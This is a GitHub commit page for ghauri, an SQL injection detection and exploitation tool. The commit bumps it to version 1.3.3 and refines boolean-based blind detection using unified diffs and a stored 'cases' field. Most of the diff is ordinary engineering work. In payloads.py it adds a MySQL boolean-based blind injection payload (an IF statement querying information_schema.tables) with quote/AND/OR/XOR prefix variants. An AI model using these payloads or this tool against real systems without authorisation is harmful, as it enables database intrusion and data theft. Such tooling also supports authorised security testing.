Skip to content

Commit

Permalink
updated code quality, improved boolean based detection for page ratio…
Browse files Browse the repository at this point in the history
… / page differences based injections (earlier there were issues in accurately identifying --string), also improved extraction code when the target is vulnerable with multiple cases to avoid false positives and invalid characters extraction.. bumped version 1.3.3..
  • Loading branch information
r0oth3x49 committed Jun 4, 2024
1 parent fcf767d commit cd84460
Show file tree
Hide file tree
Showing 9 changed files with 147 additions and 13 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
[![GitHub release](https://img.shields.io/badge/release-v1.3.2-brightgreen?style=flat-square)](https://github.com/r0oth3x49/ghauri/releases/tag/1.3.2)
[![GitHub release](https://img.shields.io/badge/release-v1.3.3-brightgreen?style=flat-square)](https://github.com/r0oth3x49/ghauri/releases/tag/1.3.3)
[![GitHub stars](https://img.shields.io/github/stars/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/network)
[![GitHub issues](https://img.shields.io/github/issues/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/issues)
Expand Down
2 changes: 1 addition & 1 deletion ghauri/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
"""

__version__ = "1.3.2"
__version__ = "1.3.3"
__author__ = "Nasir Khan (r0ot h3x49)"
__license__ = "MIT"
__copyright__ = "Copyright (c) 2016-2025 Nasir Khan (r0ot h3x49)"
Expand Down
1 change: 1 addition & 0 deletions ghauri/common/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -114,6 +114,7 @@ def __init__(
self._encode_cookie = False
self._ignore_code = ""
self._shw_ignc = False
self.cases = []

@property
def ignore_code(self):
Expand Down
8 changes: 5 additions & 3 deletions ghauri/common/lib.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,7 @@
import collections
from os.path import expanduser
from io import BytesIO, StringIO
from difflib import unified_diff
from difflib import SequenceMatcher
import concurrent.futures as futures
from concurrent.futures import thread
Expand Down Expand Up @@ -264,7 +265,8 @@
parameter_type text,
string text,
not_string text,
attack01 text
attack01 text,
cases text DEFAULT "" NOT NULL
);
CREATE TABLE storage (
id integer PRIMARY KEY AUTOINCREMENT,
Expand All @@ -278,8 +280,8 @@

PAYLOAD_STATEMENT = """
INSERT
INTO tbl_payload (`title`, `attempts`, `payload`, `vector`, `backend`, `parameter`, `injection_type`, `payload_type`, `endpoint`, `parameter_type`, `string`, `not_string`, `attack01`)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
INTO tbl_payload (`title`, `attempts`, `payload`, `vector`, `backend`, `parameter`, `injection_type`, `payload_type`, `endpoint`, `parameter_type`, `string`, `not_string`, `attack01`, `cases`)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
"""

STORAGE = """
Expand Down
14 changes: 14 additions & 0 deletions ghauri/common/payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -436,6 +436,20 @@
"vector": "RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))",
"dbms": "MySQL",
},
{
"payload": "(IF([RANDNUM]=[RANDNUM],1,(select table_name from information_schema.tables)))",
"comments": [
{"pref": "'AND", "suf": "AND'Z"},
{"pref": '"AND', "suf": 'AND"Z'},
{"pref": "'XOR", "suf": "XOR'Z"},
{"pref": '"XOR', "suf": 'XOR"Z'},
{"pref": "'OR", "suf": "OR'Z"},
{"pref": '"OR', "suf": 'OR"Z'},
],
"title": "MySQL boolean-based blind - (IF STATEMENT)",
"vector": "(IF([INFERENCE],1,(select table_name from information_schema.tables)))",
"dbms": "MySQL",
},
],
"time-based": [
{
Expand Down
18 changes: 18 additions & 0 deletions ghauri/common/session.py
Original file line number Diff line number Diff line change
Expand Up @@ -178,6 +178,24 @@ def generate(self, session_filepath=""):
conn.executescript(SESSION_STATEMENETS)
conn.commit()
conn.close()
if (
session_filepath
and os.path.isfile(session_filepath)
and os.stat(session_filepath).st_size > 0
):
QUERY = "SELECT (SELECT CASE WHEN ((SELECT COUNT(*) FROM pragma_table_info('tbl_payload') WHERE name='cases')!=0) THEN TRUE ELSE FALSE END) as cases_found;"
res = self.fetchall(session_filepath=session_filepath, query=QUERY).pop()
if not res.get("cases_found"):
# logger.debug(
# "cases column doesn't exist, altering table to create one..."
# )
QUERY_ALTER = (
'ALTER TABLE tbl_payload ADD COLUMN cases text DEFAULT "" NOT NULL;'
)
self.execute_query(session_filepath=session_filepath, query=QUERY_ALTER)
if res.get("cases_found"):
# logger.debug("cases column exist, moving further...")
pass
return session_filepath

def dump(self, session_filepath="", query="", values=None):
Expand Down
110 changes: 103 additions & 7 deletions ghauri/common/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@
unquote,
BytesIO,
urljoin,
unified_diff,
SequenceMatcher,
addinfourl,
DBMS_DICT,
Expand Down Expand Up @@ -450,6 +451,70 @@ def get_page_ratio_difference(response, response_01):
return _diff, _temp


def get_page_by_unified_diff(original, modifired, match_string=None):
Response = collections.namedtuple(
"UnifiedPageDifference",
["is_vulner", "string", "not_string", "case", "difference", "differences"],
)
original = get_filtered_page_content(original)
modifired = get_filtered_page_content(modifired)
case = None
string = ""
not_string = ""
is_vulner = False
difference = None
diffs = {}
_temp = Response(
is_vulner=is_vulner,
difference=difference,
case=case,
string=string,
not_string=not_string,
differences=diffs,
)
differences = list(
unified_diff(
original.split(),
modifired.split(),
fromfile="",
tofile="",
)
)

def get_string_by_matcher(data, matcher):
retval = ""
for i in data:
i = i.replace("\\\\n", "").replace("\\n", "")
if i.startswith(matcher) or i.startswith(" "):
retval += re.sub(r"[^a-zA-Z0-9\.\-\s]+", " ", i)
retval = re.sub(r"[^a-zA-Z0-9\.\s]+", " ", retval)
retval = re.sub(r"[^a-zA-Z0-9\.\s]+", " ", retval).strip().lstrip().rstrip()
return retval

string = get_string_by_matcher(data=differences, matcher="-")
not_string = get_string_by_matcher(data=differences, matcher="+")
is_vulner = bool(string != not_string)
if match_string:
is_vulner = bool(match_string == string)
if is_vulner:
case = "Page Ratio"
difference = string
if len(difference) > 30:
difference = difference[0:30]
_temp = Response(
is_vulner=is_vulner,
difference=difference,
case=case,
string=string,
not_string=not_string,
differences=differences,
)
logger.debug(
f'vulnerable with (--string="{string}", --not-string="{not_string}")'
)
return _temp


def check_page_difference(w1, w2, match_string=None):
Response = collections.namedtuple(
"PageDifference", ["is_vulner", "difference", "case", "ratio", "differences"]
Expand Down Expand Up @@ -632,13 +697,21 @@ def check_boolean_responses(
string = match_string
_cases.append("Page Content")
else:
ok = check_page_difference(w1, w2, match_string=match_string)
difference = ok.difference
is_vulner = ok.is_vulner
res = get_page_by_unified_diff(w1, w2, match_string=match_string)
difference = res.difference
is_vulner = res.is_vulner
if is_vulner:
not_string = not_match_string
string = difference
not_string = not_match_string
_cases.append("Page Content")
else:
ok = check_page_difference(w1, w2, match_string=match_string)
difference = ok.difference
is_vulner = ok.is_vulner
if is_vulner:
not_string = not_match_string
string = difference
_cases.append("Page Content")
elif not_match_string:
mobj = re.search(r"(?is)(?:%s)" % (re.escape(not_match_string)), w2)
if mobj:
Expand All @@ -648,13 +721,21 @@ def check_boolean_responses(
not_string = not_match_string
_cases.append("Page Content")
else:
ok = check_page_difference(w1, w2, match_string=not_match_string)
difference = ok.difference
is_vulner = ok.is_vulner
res = get_page_by_unified_diff(w1, w2, match_string=not_match_string)
difference = res.difference
is_vulner = res.is_vulner
if is_vulner:
string = match_string
not_string = difference
_cases.append("Page Content")
else:
ok = check_page_difference(w1, w2, match_string=not_match_string)
difference = ok.difference
is_vulner = ok.is_vulner
if is_vulner:
string = match_string
not_string = difference
_cases.append("Page Content")
else:
# do check if initial requests performed returrned exact same content length
if conf._bool_check_on_ct:
Expand Down Expand Up @@ -709,6 +790,14 @@ def check_boolean_responses(
)
is_vulner = False
case = ""
if not difference and not is_vulner:
res = get_page_by_unified_diff(w1, w2)
difference = res.difference
is_vulner = res.is_vulner
case = res.case
if difference:
string = res.string
not_string = res.not_string
if not difference and not is_vulner:
# special case when the above page ratio mechanism fails.
ok = check_page_difference(w1, w2)
Expand Down Expand Up @@ -786,6 +875,10 @@ def check_boolean_responses(
conf.not_string = not_string
case = "Page Ratio"
logger.debug(f'injectable with --string="{difference}".')
if is_vulner:
_case = [i.strip() for i in case.split(",")]
if conf.cases and _case and len(_case) > 1:
is_vulner = bool(conf.cases == _case)
if is_vulner:
if not status_code:
status_code = attack_true.status_code
Expand Down Expand Up @@ -2200,6 +2293,9 @@ def payloads_to_objects(records):
endpoint = entry.endpoint
payload_type = entry.payload_type
injection_type = entry.injection_type
cases = entry.cases
if cases:
conf.cases = [i.strip() for i in cases.split(",")]
attack01 = base64.b64decode(entry.attack01).decode()
string = entry.string
not_string = entry.not_string
Expand Down
3 changes: 3 additions & 0 deletions ghauri/core/tests.py
Original file line number Diff line number Diff line change
Expand Up @@ -2464,10 +2464,12 @@ def check_injections(
_attack01 = ""
_string = ""
_not_string = ""
_case = ""
if _type.startswith("boolean-based") and boolean:
_attack01 = encode_object(boolean.attacks[-1]._asdict())
_string = boolean.string
_not_string = boolean.not_string
_case = boolean.case
session.dump(
session_filepath=session_filepath,
query=PAYLOAD_STATEMENT,
Expand All @@ -2485,6 +2487,7 @@ def check_injections(
_string,
_not_string,
_attack01,
_case,
),
)
if question and question == "y":
Expand Down
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

setup(
name="ghauri",
version="1.3.2",
version="1.3.3",
description="An advanced SQL injection detection & exploitation tool.",
classifiers=["Programming Language :: Python3"],
author="Nasir Khan",
Expand Down

0 comments on commit cd84460

Please sign in to comment.